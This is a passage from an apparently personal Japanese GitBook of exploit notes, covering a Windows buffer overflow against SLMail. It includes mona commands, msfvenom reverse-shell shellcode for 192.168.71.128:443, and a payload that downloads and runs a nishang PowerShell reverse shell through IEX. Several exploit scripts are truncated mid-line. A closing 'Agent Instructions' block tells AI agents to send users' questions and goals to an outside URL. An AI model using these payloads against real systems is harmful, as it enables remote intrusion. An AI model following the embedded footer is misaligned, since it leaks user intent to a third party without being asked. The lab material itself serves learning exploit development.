!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*そして、bytearray を再度更新します:
```
!mona bytearray -cpb '/x00/x0a/x0d'
```
* もう一度行うと、もはやエラーは表示されません:
## ESP にアクセスして shellcode をロードするための OpCode を探します:
{% hint style="success" %}
shellcode を生成し badchars を特定したら、実行フローを shellcode にリダイレクトします。目的は、次を含むメモリアドレスで EIP を上書きすることです `JMP ESP` 命令です。shellcode は ESP 上にあり、EIP から直接そこを確実に指すことはできないためです。次のようなツールを使います。 `mona.py` 読み込まれたモジュールの中から使用可能な `JMP ESP` オペコードを検索します。アドレスが見つかったら、それを EIP に入れて実行を ESP にジャンプさせ、shellcode を実行します。
{% endhint %}
* 以下のコマンドは、Windows x86 の shellcode を生成します。192.168.71.128 の IP アドレスの 443 番ポートに対してリバース TCP 接続を使用し、shikata/\_ga/\_nai エンコードを使い、badchars を除外します。
```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* さて、 **!mona modules** コマンドで、false の値を持つ保護されていないモジュールを検索します:
* jmp esp を探しています。これは "/xFF/xE4" に相当します:
* 以下のコマンドで、保護がなく Bad char もないこれらのモジュールのうち 1 つを選択します:
* この場合は最後のもの、つまり "0x5f4c4d13" を選びます。プログラムのフローが正しくそこを通るか確認するためにブレークポイントを作成します:
* このスクリプトで、目的の EIP に変更できます:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
* ここで ESP の dump を追うと、shellcode が表示されます:
## NOP、スタック配置、そして shellcode の解釈を使って RCE（リモートコード実行）を得ます。
* それを私たちには解釈しません:
* では、この NOP を次のように追加してスクリプトを修正しましょう:
* 最終スクリプト:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
## 実行できるコマンドを制御するための shellcode の修正:
{% hint style="success" %}
リバースシェルのペイロード以外に、 `windows/exec` ペイロードは `CMD` オプションを通じて直接コマンドを埋め込めます。これにより、実行時に選択したコマンドを実行する shellcode が作成されます。次で生成します。 `msfvenom -p windows/exec CMD=""`その後、同じバッファオーバーフロー技法を使って EIP を上書きし、実行を shellcode にリダイレクトします。
{% endhint %}
* これをダウンロードして [スクリプト ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)PS.ps1 という名前を付けます
スクリプトの末尾にこれを追加します: `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`
* shellcode を生成します:
```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* 更新後のスクリプト:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
